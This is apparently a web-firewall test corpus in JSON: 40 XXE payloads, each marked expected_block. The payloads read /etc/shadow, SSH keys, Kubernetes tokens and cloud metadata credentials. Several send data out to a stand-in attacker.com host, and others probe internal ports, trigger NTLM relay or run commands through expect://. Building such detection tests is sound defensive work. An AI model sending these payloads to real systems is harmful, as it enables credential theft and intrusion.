[
  {"id":"xxe-adv-001","payload":"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><foo>&xxe;</foo>","category":"xxe","method":"POST","severity_hint":"critical","tags":["classic","file-read","linux"],"notes":"Classic XXE file read","expected_block":true},
  {"id":"xxe-adv-002","payload":"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///c:/windows/win.ini\">]><foo>&xxe;</foo>","category":"xxe","method":"POST","severity_hint":"critical","tags":["classic","file-read","windows"],"notes":"Windows XXE file read","expected_block":true},
  {"id":"xxe-adv-003","payload":"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://attacker.com/xxe\">]><foo>&xxe;</foo>","category":"xxe","method":"POST","severity_hint":"critical","tags":["ssrf","http"],"notes":"XXE to SSRF","expected_block":true},
  {"id":"xxe-adv-004","payload":"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM \"http://attacker.com/evil.dtd\"> %xxe;]><foo>test</foo>","category":"xxe","method":"POST","severity_hint":"critical","tags":["oob","parameter-entity"],"notes":"OOB XXE via external DTD","expected_block":true},
  {"id":"xxe-adv-005","payload":"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY % file SYSTEM \"file:///etc/passwd\"><!ENTITY % dtd SYSTEM \"http://attacker.com/evil.dtd\"> %dtd;]><foo>test</foo>","category":"xxe","method":"POST","severity_hint":"critical","tags":["oob","data-exfil"],"notes":"OOB XXE data exfiltration","expected_block":true},
  {"id":"xxe-adv-006","payload":"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"expect://id\">]><foo>&xxe;</foo>","category":"xxe","method":"POST","severity_hint":"critical","tags":["rce","expect","php"],"notes":"XXE to RCE via expect://","expected_block":true},
  {"id":"xxe-adv-007","payload":"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"php://filter/convert.base64-encode/resource=index.php\">]><foo>&xxe;</foo>","category":"xxe","method":"POST","severity_hint":"critical","tags":["php","filter","source-read"],"notes":"XXE PHP filter source read","expected_block":true},
  {"id":"xxe-adv-008","payload":"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///dev/random\">]><foo>&xxe;</foo>","category":"xxe","method":"POST","severity_hint":"high","tags":["dos","linux"],"notes":"XXE DoS via /dev/random","expected_block":true},
  {"id":"xxe-adv-009","payload":"<?xml version=\"1.0\"?><!DOCTYPE lolz [<!ENTITY lol \"lol\"><!ENTITY lol2 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\"><!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\"><!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">]><lolz>&lol4;</lolz>","category":"xxe","method":"POST","severity_hint":"high","tags":["dos","billion-laughs"],"notes":"Billion laughs DoS (reduced)","expected_block":true},
  {"id":"xxe-adv-010","payload":"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM \"file:///etc/shadow\">]><foo>&xxe;</foo>","category":"xxe","method":"POST","severity_hint":"critical","tags":["file-read","credentials","linux"],"notes":"Shadow file read","expected_block":true},
  {"id":"xxe-adv-011","payload":"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///proc/self/environ\">]><foo>&xxe;</foo>","category":"xxe","method":"POST","severity_hint":"critical","tags":["linux","proc","info-disclosure"],"notes":"Process environment read","expected_block":true},
  {"id":"xxe-adv-012","payload":"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///root/.ssh/id_rsa\">]><foo>&xxe;</foo>","category":"xxe","method":"POST","severity_hint":"critical","tags":["ssh","credentials"],"notes":"SSH key exfiltration","expected_block":true},
  {"id":"xxe-adv-013","payload":"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///var/run/secrets/kubernetes.io/serviceaccount/token\">]><foo>&xxe;</foo>","category":"xxe","method":"POST","severity_hint":"critical","tags":["kubernetes","token","cloud"],"notes":"K8s service account token via XXE","expected_block":true},
  {"id":"xxe-adv-014","payload":"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\">]><foo>&xxe;</foo>","category":"xxe","method":"POST","severity_hint":"critical","tags":["aws","cloud","ssrf"],"notes":"AWS IMDS via XXE","expected_block":true},
  {"id":"xxe-adv-015","payload":"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token\">]><foo>&xxe;</foo>","category":"xxe","method":"POST","severity_hint":"critical","tags":["gcp","cloud","ssrf"],"notes":"GCP metadata via XXE","expected_block":true},
  {"id":"xxe-adv-016","payload":"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"jar:http://attacker.com/evil.jar!/test.txt\">]><foo>&xxe;</foo>","category":"xxe","method":"POST","severity_hint":"critical","tags":["java","jar","ssrf"],"notes":"Java JAR protocol XXE","expected_block":true},
  {"id":"xxe-adv-017","payload":"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"netdoc:///etc/passwd\">]><foo>&xxe;</foo>","category":"xxe","method":"POST","severity_hint":"critical","tags":["java","netdoc","file-read"],"notes":"Java netdoc protocol","expected_block":true},
  {"id":"xxe-adv-018","payload":"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"gopher://attacker.com:25/xHELO%20attacker.com\">]><foo>&xxe;</foo>","category":"xxe","method":"POST","severity_hint":"critical","tags":["gopher","ssrf"],"notes":"Gopher protocol via XXE","expected_block":true},
  {"id":"xxe-adv-019","payload":"<?xml version=\"1.0\" encoding=\"UTF-16\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><foo>&xxe;</foo>","category":"xxe","method":"POST","severity_hint":"critical","tags":["encoding","utf16","evasion"],"notes":"UTF-16 encoded XXE","expected_block":true},
  {"id":"xxe-adv-020","payload":"<?xml version=\"1.0\"?><!DOCTYPE foo SYSTEM \"http://attacker.com/evil.dtd\"><foo>test</foo>","category":"xxe","method":"POST","severity_hint":"critical","tags":["external-dtd","system"],"notes":"External DTD reference","expected_block":true},
  {"id":"xxe-adv-021","payload":"<?xml version=\"1.0\"?><!DOCTYPE foo PUBLIC \"-//OASIS//DTD DocBook V4.1//EN\" \"http://attacker.com/evil.dtd\"><foo>test</foo>","category":"xxe","method":"POST","severity_hint":"critical","tags":["external-dtd","public"],"notes":"PUBLIC DTD reference","expected_block":true},
  {"id":"xxe-adv-022","payload":"<?xml version=\"1.0\"?><foo xmlns:xi=\"http://www.w3.org/2001/XInclude\"><xi:include parse=\"text\" href=\"file:///etc/passwd\"/></foo>","category":"xxe","method":"POST","severity_hint":"critical","tags":["xinclude","file-read"],"notes":"XInclude file inclusion","expected_block":true},
  {"id":"xxe-adv-023","payload":"<svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"300\" viewBox=\"0 0 200 200\"><image xlink:href=\"file:///etc/hostname\"/></svg>","category":"xxe","method":"POST","severity_hint":"critical","tags":["svg","xlink","file-read"],"notes":"SVG XXE via xlink","expected_block":true},
  {"id":"xxe-adv-024","payload":"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY % a \"<!ENTITY &#37; b SYSTEM 'http://attacker.com/?data=%a;'>\">%a;%b;]><foo>test</foo>","category":"xxe","method":"POST","severity_hint":"critical","tags":["parameter-entity","nested"],"notes":"Nested parameter entity XXE","expected_block":true},
  {"id":"xxe-adv-025","payload":"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/hostname\">]><methodCall><methodName>&xxe;</methodName></methodCall>","category":"xxe","method":"POST","severity_hint":"critical","tags":["xmlrpc","file-read"],"notes":"XML-RPC XXE","expected_block":true},
  {"id":"xxe-adv-026","payload":"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"><soap:Body><test>&xxe;</test></soap:Body></soap:Envelope>","category":"xxe","method":"POST","severity_hint":"critical","tags":["soap","file-read"],"notes":"SOAP XML XXE","expected_block":true},
  {"id":"xxe-adv-027","payload":"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><saml:Assertion xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\"><saml:Issuer>&xxe;</saml:Issuer></saml:Assertion>","category":"xxe","method":"POST","severity_hint":"critical","tags":["saml","file-read"],"notes":"SAML XXE injection","expected_block":true},
  {"id":"xxe-adv-028","payload":"Content-Type: text/xml\n\n<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><foo>&xxe;</foo>","category":"xxe","method":"POST","severity_hint":"critical","tags":["content-type","xml"],"notes":"Forced XML content type","expected_block":true},
  {"id":"xxe-adv-029","payload":"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><?xml-stylesheet type=\"text/xsl\" href=\"http://attacker.com/evil.xsl\"?><foo>&xxe;</foo>","category":"xxe","method":"POST","severity_hint":"critical","tags":["xsl","file-read"],"notes":"XSLT processing with XXE","expected_block":true},
  {"id":"xxe-adv-030","payload":"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"\\\\attacker.com\\share\">]><foo>&xxe;</foo>","category":"xxe","method":"POST","severity_hint":"critical","tags":["smb","ntlm","windows"],"notes":"XXE to SMB for NTLM relay","expected_block":true},
  {"id":"xxe-adv-031","payload":"<?xml version=\"1.0\" encoding=\"utf-7\"?>+ADw-!DOCTYPE foo+AFs-+ADw-!ENTITY xxe SYSTEM +ACI-file:///etc/passwd+ACI-+AD4-+AF0-+AD4-+ADw-foo+AD4-+ACY-xxe+ADsAPA-/foo+AD4-","category":"xxe","method":"POST","severity_hint":"critical","tags":["encoding","utf7","evasion"],"notes":"UTF-7 encoded XXE","expected_block":true},
  {"id":"xxe-adv-032","payload":"<?xml version=\"1.0\"?><!DOCTYPE data [<!ENTITY % dtd SYSTEM \"data://text/plain;base64,PCFFTlRJVFkgJSBmaWxlIFNZU1RFTSAiZmlsZTovLy9ldGMvcGFzc3dkIj4=\"> %dtd;]><data>&file;</data>","category":"xxe","method":"POST","severity_hint":"critical","tags":["data-uri","base64","evasion"],"notes":"XXE via data: URI DTD","expected_block":true},
  {"id":"xxe-adv-033","payload":"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://127.0.0.1:22\">]><foo>&xxe;</foo>","category":"xxe","method":"POST","severity_hint":"high","tags":["port-scan","ssrf"],"notes":"Internal port scan via XXE","expected_block":true},
  {"id":"xxe-adv-034","payload":"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://127.0.0.1:6379\">]><foo>&xxe;</foo>","category":"xxe","method":"POST","severity_hint":"critical","tags":["redis","ssrf"],"notes":"Redis probe via XXE","expected_block":true},
  {"id":"xxe-adv-035","payload":"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://127.0.0.1:9200/_cat/indices\">]><foo>&xxe;</foo>","category":"xxe","method":"POST","severity_hint":"critical","tags":["elasticsearch","ssrf"],"notes":"Elasticsearch probe via XXE","expected_block":true},
  {"id":"xxe-adv-036","payload":"<?xml version=\"1.0\"?><!DOCTYPE test [<!ENTITY % init SYSTEM \"data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk\"> %init;]><test/>","category":"xxe","method":"POST","severity_hint":"critical","tags":["data-uri","parameter-entity"],"notes":"Parameter entity with data URI","expected_block":true},
  {"id":"xxe-adv-037","payload":"<?xml version=\"1.0\"?><root><name>test</name><tel>test</tel><email>test@test.com</email><password><!ENTITY xxe SYSTEM \"file:///etc/passwd\">&xxe;</password></root>","category":"xxe","method":"POST","severity_hint":"critical","tags":["inline","form-data"],"notes":"XXE in JSON-like XML form","expected_block":true},
  {"id":"xxe-adv-038","payload":"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><html xmlns=\"http://www.w3.org/1999/xhtml\"><body>&xxe;</body></html>","category":"xxe","method":"POST","severity_hint":"critical","tags":["xhtml","file-read"],"notes":"XHTML XXE injection","expected_block":true},
  {"id":"xxe-adv-039","payload":"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><feed xmlns=\"http://www.w3.org/2005/Atom\"><title>&xxe;</title></feed>","category":"xxe","method":"POST","severity_hint":"critical","tags":["atom","rss","file-read"],"notes":"Atom/RSS feed XXE","expected_block":true},
  {"id":"xxe-adv-040","payload":"<?xml version=\"1.0\"?><!DOCTYPE Office [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><OfficeConfig><services><service name=\"&xxe;\"/></services></OfficeConfig>","category":"xxe","method":"POST","severity_hint":"critical","tags":["office","docx","file-read"],"notes":"Office XML document XXE","expected_block":true}
]